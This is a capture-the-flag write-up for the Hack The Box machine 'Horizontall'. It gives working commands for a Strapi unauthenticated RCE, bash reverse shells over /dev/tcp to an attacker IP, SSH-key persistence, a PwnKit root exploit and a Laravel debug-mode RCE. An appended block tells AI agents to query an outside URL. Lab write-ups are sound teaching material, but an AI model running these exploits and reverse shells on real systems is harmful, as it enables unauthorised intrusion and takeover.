# Horizontall

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.105 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.105`.

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: horizontall
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

It looks like there is an nginx webserver running on port 80 and SSH is open on port 22. Attempting to visit the website redirects us to `http://horizontall.htb`, so let's add that to `/etc/hosts`: `echo "10.10.11.105 horizontall.htb" | sudo tee -a /etc/hosts`.

### Nginx

Running `gobuster` against `http://horizontall.htb` doesn't return any meaningful results: `gobuster dir -u http://horizontall.htb -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`.

After looking at the site source code, we find the following code segment in `app.c68eb462.js` (see an online JavaScript formatter, like [beautifier.io](https://beautifier.io/) to make the code readable):

```javascript
methods: {
    getReviews: function() {
        var t = this;
        r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) {
            return t.reviews = s.data
        }))
    }
}
```

Let's add this new subdomain to `/etc/hosts`: `echo "10.10.11.105 api-prod.horizontall.htb" | sudo tee -a /etc/hosts`.

Navigating to `http://api-prod.horizontall.htb/` simply says "Welcome" with a page title of "Welcome to your API".

### Wappalyzer

Checking [Wappalyzer](https://www.wappalyzer.com/) shows that this page is using the [Strapi CMS](https://github.com/strapi/strapi), which describes itself as a "Open source Node.js Headless CMS."

Searching for strapi vulnerabilities using `searchsploit` (`searchsploit strapi`) shows some exploits for version `3.0.0-beta`

```
------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                 |  Path
------------------------------------------------------------------------------- ---------------------------------
Strapi 3.0.0-beta - Set Password (Unauthenticated)                             | multiple/webapps/50237.py
Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)           | multiple/webapps/50238.py
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)     | multiple/webapps/50239.py
------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

### Gobuster

Let's try running `gobuster` on the new subdomain we found: `gobuster dir -u http://api-prod.horizontall.htb -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`. This scan finds several available endpoints.

```
/admin                (Status: 200) [Size: 854]
/users                (Status: 403) [Size: 60] 
/reviews              (Status: 200) [Size: 507]
/Reviews              (Status: 200) [Size: 507]
/Users                (Status: 403) [Size: 60] 
/Admin                (Status: 200) [Size: 854]
/REVIEWS              (Status: 200) [Size: 507]
/%C0                  (Status: 400) [Size: 69]
```

So, it looks like we have `/admin`, `/reviews`, and `/users` to work with.

* `/users` returns a 403 Forbidden code.
* `admin` redirects us to `/admin/auth/login` and shows a Strapi login page.
* `/reviews` returns some JSON data containing what are presumably reviews for the service this company offers: `[{"id":1,"name":"wail","description":"This is good service","stars":4,"created_at":"2021-05-29T13:23:38.000Z","updated_at":"2021-05-29T13:23:38.000Z"},{"id":2,"name":"doe","description":"i'm satisfied with the product","stars":5,"created_at":"2021-05-29T13:24:17.000Z","updated_at":"2021-05-29T13:24:17.000Z"},{"id":3,"name":"john","description":"create service with minimum price i hop i can buy more in the futur","stars":5,"created_at":"2021-05-29T13:25:26.000Z","updated_at":"2021-05-29T13:25:26.000Z"}]`.

Thus, `/admin` appears to be the most promising.

## Foothold

We found some exploits using `searchsploit` earlier. So, maybe those will be helpful. We can also check [snyk](https://snyk.io), which finds [the same exploits plus a few more](https://snyk.io/vuln/npm:strapi).

Let's take a look at the "Remote Code Execution (RCE) (Unauthenticated)" exploit, since it requires the least access to the system and is a RCE. We can look at the exploit script on the [exploit-db website](https://www.exploit-db.com/exploits/50239) or by copying it to our home directory by running `searchsploit -m 50239.py`.

There is a `check_version` function that checks if the version of Strapi is the one with the vulnerability.

```python
def check_version():
    global url
    print("[+] Checking Strapi CMS Version running")
    version = requests.get(f"{url}/admin/init").text
    version = json.loads(version)
    version = version["data"]["strapiVersion"]
    if version == "3.0.0-beta.17.4":
        print("[+] Seems like the exploit will work!!!\n[+] Executing exploit\n\n")
    else:
        print("[-] Version mismatch trying the exploit anyway")
```

Apparently, the version information is public at the `/admin/init` endpoint. Requesting that endpoint (`curl http://api-prod.horizontall.htb/admin/init`) shows that the version is `3.0.0-beta.17.4`, which is indeed the vulnerable version: `{"data":{"uuid":"a55da3bd-9693-4a08-9279-f9df57fd1817","currentEnvironment":"development","autoReload":false,"strapiVersion":"3.0.0-beta.17.4"}}`.

Let's try running the script

```bash
$ python3 50239.py
[-] Wrong number of arguments provided
[*] Usage: python3 exploit.py <URL>
```

Looks like we simply need to specify the URL:

```bash
$ python3 50239.py http://api-prod.horizontall.htb
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit


[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQ0Nzg5MTM3LCJleHAiOjE2NDczODExMzd9.xOmEWy3K2A4eXRI01t4gmgxlmRSjCJI0v34HO9-kWTw

$>
```

Trying to authenticate with the provided credentials on the `/admin/auth/login` page works. However, this exploit also gives us remote code execution. Trying to run `whoami` returns an error though since it is a blind RCE exploit.

```bash
$> whoami
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
```

Maybe a reverse shell will work though. We can use [revshells](https://www.revshells.com/) to generate a bash reverse shell. The reverse shell command is `sh -i >& /dev/tcp/10.10.14.97/59726 0>&1` (you can find your ip using `ip a` and looking under `tun0`) and you can start a listener with netcat by running `nc -lvnp 59726`, but we will use [calebstewart/pwncat](https://github.com/calebstewart/pwncat) instead.

We can start a listener with `pwncat-cs -lp 59726`. Then, execute the reverse shell by running `sh -i >& /dev/tcp/10.10.14.97/59726 0>&1` using the RCE exploit. This doesn't work so we can try surrounding the reverse shell with `bash -c`: `bash -c 'sh -i >& /dev/tcp/10.10.14.97/59726 0>&1'`, which is effective.

## Lateral Movement

We now have access to the `strapi` account over SSH. We `cat /etc/passwd` and see that the `strapi` user's home folder is `/opt/strapi`. There is no `user.txt` here so we check the `developer` (id `1000`) user's home folder, which has the `user.txt` flag. We can view the `user.txt` flag with `cat /home/developer/user.txt`.

We can copy over an SSH key so that we can authenticate as the `strapi` user without having to reuse the exploit by running `run implant.authorized_key key=/home/kali/.ssh/id_rsa` within `pwncat`. Alternatively, the key can be manually copied over to the target machine. Now, we can reconnect with `pwncat-cs strapi@10.10.11.105 --identity /home/kali/.ssh/id_rsa`.

## Privilege Escalation

`pwncat` has some built-in escalation techniques, which we can try with `escalate list -u root`, but none of these work.

Within the `/opt/strapi` directory there is an RSA private and public key called `strapi` and `strapi.pub`, respectively. So, that might be useful.

We use the standard [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) script to find potential privilege escalation paths. Pwncat makes it easy to transfer this script to the target with `upload /home/kali/linpeas.sh /opt/strapi/linpeas.sh`. Then, run it with `bash linpeas.sh`.

LinPEAS immediately tells us that the installed version of `sudo` is vulnerable to `CVE-2021-4034`, which is a very recent exploit and is not the intended solution. However, downloading [berdav/CVE-2021-4034](https://github.com/berdav/CVE-2021-4034) as a ZIP file, copying the file over, unzipping it, running `make` in the directory, and then executing `./cve-2021-4034` opens a root shell and the `root.txt` flag can be obtained with `cat /root/root.txt`.

However, LinPEAS also shows that there are open ports on `127.0.0.1`.

```
Active Ports
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1749/node /usr/bin/
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
```

`3306` is the default MySQL port so that leaves `1337` and `8000` to be investigated.

Running `curl 127.0.0.1:1337` shows that port `1337` simply contains the Strapi CMS page with the "Welcome" message. Running `curl 127.0.0.1:8000` shows that port `8000` contains an application using the Laravel framework.

We can forward this port to our attack machine by running `ssh -i /home/kali/.ssh/id_rsa -L 8000:localhost:8000 strapi@horizontall.htb`. Now, navigating to `localhost:8000` on the attack machine will render the webpage.

Let's try bruteforcing directories with `gobuster dir -u http://localhost:8000 -t 100 -w /usr/share/wordlists/dirb/common.txt`.

```
/.htaccess            (Status: 200) [Size: 603]
/favicon.ico          (Status: 200) [Size: 0]  
/index.php            (Status: 200) [Size: 17473]
/profiles             (Status: 500) [Size: 616206]
/robots.txt           (Status: 200) [Size: 24]
```

The `/profiles` endpoint looks interesting since it is large. We find a Laravel debug page, which means that Laravel is in debug mode. If we click "Context" we see that version `8.43.0` of Laravel is being used.

Let's see if there are any vulnerabilities for this. Using `searchsploit laravel` we find "8.4.2 debug mode - Remote code execution," which we can copy to our home directory with `searchsploit -m 49424.py`. Alternatively, one of these scripts can be used: [zhzyker/CVE-2021-3129](https://github.com/zhzyker/CVE-2021-3129) or [nth347/CVE-2021-3129\_exploit](https://github.com/nth347/CVE-2021-3129_exploit).

According to the script, we need the path to the laravel log file, which we can figure out by looking at the debug mode page. The page says "Undefined variable: informat (View: /home/developer/myproject/resources/views/profile/index.blade.php)", which gives us the path to the laravel framework: `/home/developer/myproject/`. [Searching online for the log location](https://laravel.com/docs/4.2/errors#logging) reveals they are stored in `app/storage/logs/laravel.log`. Therefore, the log path is `/home/developer/myproject/storage/logs/laravel.log`.

Running `python3 49424.py http://localhost:8000 /home/developer/myproject/storage/logs/laravel.log 'id'` displays `uid=0(root) gid=0(root) groups=0(root)`, which means our command is executed as root. Let's use a reverse shell as a payload and open a listener on our attacker machine: `python3 49424.py http://localhost:8000 /home/developer/myproject/storage/logs/laravel.log 'bash -c "sh -i >& /dev/tcp/10.10.14.97/35965 0>&1"'"` and `pwncat-cs -lp 35965`. After waiting a few seconds we get a root reverse shell.

We can get the `root.txt` flag with `cat /root/root.txt`. We can gain persistance as `root` with `pwncat` by running `run implant.authorized_key key=/home/kali/.ssh/id_rsa` in the local shell.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://htb.haydenhousen.com/machines/horizontall.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
